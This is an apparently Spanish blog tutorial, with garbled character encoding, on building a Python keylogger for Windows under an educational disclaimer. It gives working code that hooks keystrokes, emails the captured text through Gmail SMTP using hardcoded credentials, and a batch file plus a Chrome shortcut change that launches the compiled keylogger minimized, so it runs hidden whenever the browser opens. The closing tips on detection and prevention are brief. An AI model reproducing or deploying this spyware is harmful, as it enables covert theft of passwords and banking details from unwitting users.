C贸mo hacer un KEYLOGGER con PYTHON 馃悕

Keylogger

En el post de hoy aprenderemos qu茅 es un Keylogger, para que sirve, como funciona y adem谩s aprenderemos a detectarlo, eliminarlo y a crearlo con el lenguaje de programaci贸n python.

NOTA: este keylogger funcionar铆a solo a niveles locales, es para demostrar el funcionamiento de este en un entorno propio y controlado.

Antes de nada recordarte que este art铆culo es con fines academicos, divulgativos e informativos, cuyo 煤nico objetivo es educar en el 谩mbito de la ciberseguridad.

驴Qu茅 es un Keylogger?

Posiblemente la definici贸n m谩s acertada de keylogger ser铆a 芦registrador de teclas芦, ya que esta es su traducci贸n literal del ingl茅s al espa帽ol:

Ingl茅sEspa帽ol
KeyTecla
LoggerRegistrador

Siendo m谩s concreto, un Keylogger es un tipo de malware que permite interceptar y guardar las pulsaciones o teclas que un usuario pulsa en el teclado de su ordenador. Podr铆a utilizarse dentro de una auditor铆a de ciberseguridad para comprobar el nivel de seguridad dentro de una empresa.

驴Para que sirve y c贸mo funciona el Keylogger?

Dentro del hacking y el mundo de la ciberseguridad, los Keylogger son utilizados para robar informaci贸n sensible y de car谩cter personal de los trabajadores de las empresas. Con un Keylogger un auditor es capaz de sacar todas las contrase帽as del usuarios infectado as铆 como las cuentas bancarias. Es una buena alternativa al ataque por fuerza bruta o diccionario.

El funciamiento es muy simple, basta con crear un peque帽o script (c贸mo el que veremos a continuaci贸n) que recoja todas las pulsaciones del teclado, las almacene y posteriormente las filtre al atacante.

驴D贸nde guarda informacion el keylogger?

En funci贸n a lo complejo que sea, puede almacenarlo en un archivo .txt del pc infectado, subir la informaci贸n a una base de datos o incluso mandar la informaci贸n recopilada por correo electr贸nico al atacante. Esta 煤ltima es la que realizaremos nosotros.

驴Qu茅 tipos de Keylogger hay?

Existen dos tipos de Keylogger, y en funci贸n a las necesidades es m谩s recomendable utilizar uno u otro:

  • Keylogger por software: es m谩s dif铆cil de crear, pero es invisible al ojo humano y requiere de conocimientos o software espec铆fico para detectarlo. Adem谩s debe combinarse con alg煤n otro tipo de malware como un phishing o troyano para infectar el ordenador de la v铆ctima.

  • Keylogger por hardware: es m谩s f谩cil de hacer, pero m谩s visible y f谩cil de detectar. Este tipo de keylogger fue utilizado por dos alumnos de la universidad polit茅cnica de Valencia (UPV) para hackear sus notas. Si no sabes la historia, te la cuento AQU脥 馃憞馃憞馃憞

驴Como crear un Keylogger con Python?

A continuaci贸n veremos como hacer un keylogger en windows 10 utilizando el lenguaje de programaci贸n python. Estos son los pasos que vamos a realizar:

  1. Instalar las librer铆as necesarias
  2. Programaci贸n registro teclas
  3. Programaci贸n env铆o por correo electr贸nico
  4. Creaci贸n del .exe (ejecutable)
  5. Creaci贸n del .bat (archivo batch)
  6. Vinculaci贸n a Google Chrome para que se ejecute en segundo plano.

Si tienes alg煤na duda m谩s abajo encontrar谩s el v铆deo explicativo d贸nde explico todo paso a paso

1. Instalar las librer铆as necesarias

Las librer铆as necesarias para este proyecto son:

  • PyHook
  • PyWin32

Las pod茅is descargar desde aqu铆 馃憠 https://www.lfd.uci.edu/~gohlke/pythonlibs/

Para instalarlas utilizaremos el comando 芦pip install禄 seguido del nombre de la librer铆a.

2. Programaci贸n registro teclas

El primer paso ser谩 importar las librer铆as y crear la funci贸n que recoga las pulsaciones de las teclas:

def OnKeyboardEvent(event):
    logging.basicConfig(filename=carpeta_destino, level=logging.DEBUG, format='%(message)s')
    print('WindowName:', event.WindowName)
    print('Window:', event.Window)
    print('Key:', event.Key)
    logging.log(10, event.Key)
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown= OnKeyboardEvent
hooks_manager.HookKeyboard()

3. Programaci贸n env铆o por correo electr贸nico

Para que nuestro Keylogger envie datos al correo electr贸nico crearemos dos funciones, una para crear el email y otra para enviarlo:

def EnviarEmail():
    with open (carpeta_destino, 'r+') as f:
        fecha = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        data=f.read()
        data= data.replace('Space', ' ')
        data = data.replace('\n', '')
        data = 'Mensaje capturado a las: '+ fecha + '\n' + data
        print (data)
        crearEmail('pruebaKeyloggerCB@gmail.com', 'prueba123', 'pruebaKeyloggerCB@gmail.com', 'Nueva captura:' +fecha, data)
        f.seek(0)
        f.truncate()

def crearEmail(user, passw, recep,subj, body):
    import smtplib
    mailUser=user
    mailPass=passw
    From = user
    To = recep
    Subject= subj
    Txt=body

    email = """\From: %s\nTo: %s\nSubject: %s\n\n%s """ % (From, ", ".join(To), Subject, Txt)

    try:
        server=smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(mailUser, mailPass)
        server.sendmail(From, To, email)
        server.close()
        print('Correo enviado con 茅xito!!')

    except:
        print('Correo fallido :(')

Es importante configurar la cuenta de correo para permitir el acceso de aplicaciones poco seguras:

Esto se puede hacer f谩cilmente desde aqu铆 馃憠 https://myaccount.google.com/u/5/lesssecureapps

Si quieres el c贸digo completo y la explicaci贸n m谩s detallada de todo el proceso, puedes descargar el PDF 馃憞 NOTA: [C贸digo 60% descuento EXTRA: KL60]

4. Creaci贸n del .exe (ejecutable)

Para instalarlas utilizaremos el comando 芦pyinstaller禄 seguido del nombre de nuestro archivo python.

5. Creaci贸n del .bat (archivo batch)

Para que nuestro .exe se ejecute en segundo plano cuando iniciemos una aplicaci贸n, deberemos crear un archivo batch (archivo con las extenci贸n .bat) d贸nde configuremos las aplicaciones que se deben abrir.

@echo off
cd C:\Users\i7-w81\Desktop\KeyloggerYT\dist\KeyloggerYT
start /MIN KeyloggerYT.exe
cd C:\Program Files (x86)\Google\Chrome\Application
start chrome.exe

6. Vinculaci贸n a Google Chrome para que se ejecute en segundo plano.

Abrimos las propiedades del Chrome y en la opci贸n 芦Destino禄 copiamos la ruta del archivo.bat creado anteriormente y en la opci贸n 芦Ejecutar禄 selecionamos minimizada

隆Tambi茅n puedes seguir mi explicaci贸n paso a paso en el v铆deo tutorial que te dejo por aqu铆! 馃憞馃憞馃憞

驴C贸mo saber si est谩 instalado, detectarlo y eliminarlo?

Para detectar si tenemos un keylogger instalado en nuestro PC, basta con iniciar el administrador de tareas (Ctrl+Alt+Supr), irnos a la pesta帽a detalles y ver si existe alg煤n proceso con un nombre extra帽o.

Para eliminarlo, deberemos hacer click derecho y seleccionar la opci贸n 芦Finaliza tarea禄.

驴C贸mo prevenir la infecci贸n de un Keylogger?

El Keylogger suele instalarse en nuestros equipos como consecuencia de un ciberataque o malware mayor, por lo que, evitando que nos infecten de esta manera, evitaremos ser infectados por el Keylogger. Las recomendaciones que deber铆amos seguir:

  • Programas o software antispyware.
  • Escaneos y an谩lisis peri贸dico de nuestros sistema.
  • Firewall/antivirus para evitar la descarga de archivos maliciosos como troyanos y o virus.
  • Buenas pr谩cticas de seguridad.

驴Quieres saber m谩s?

Recuerda que todo esto es con fines educativos, divulgativos y por el amor a la ciberseguridad 馃榿

Deja un comentario

Tu direcci贸n de correo electr贸nico no ser谩 publicada.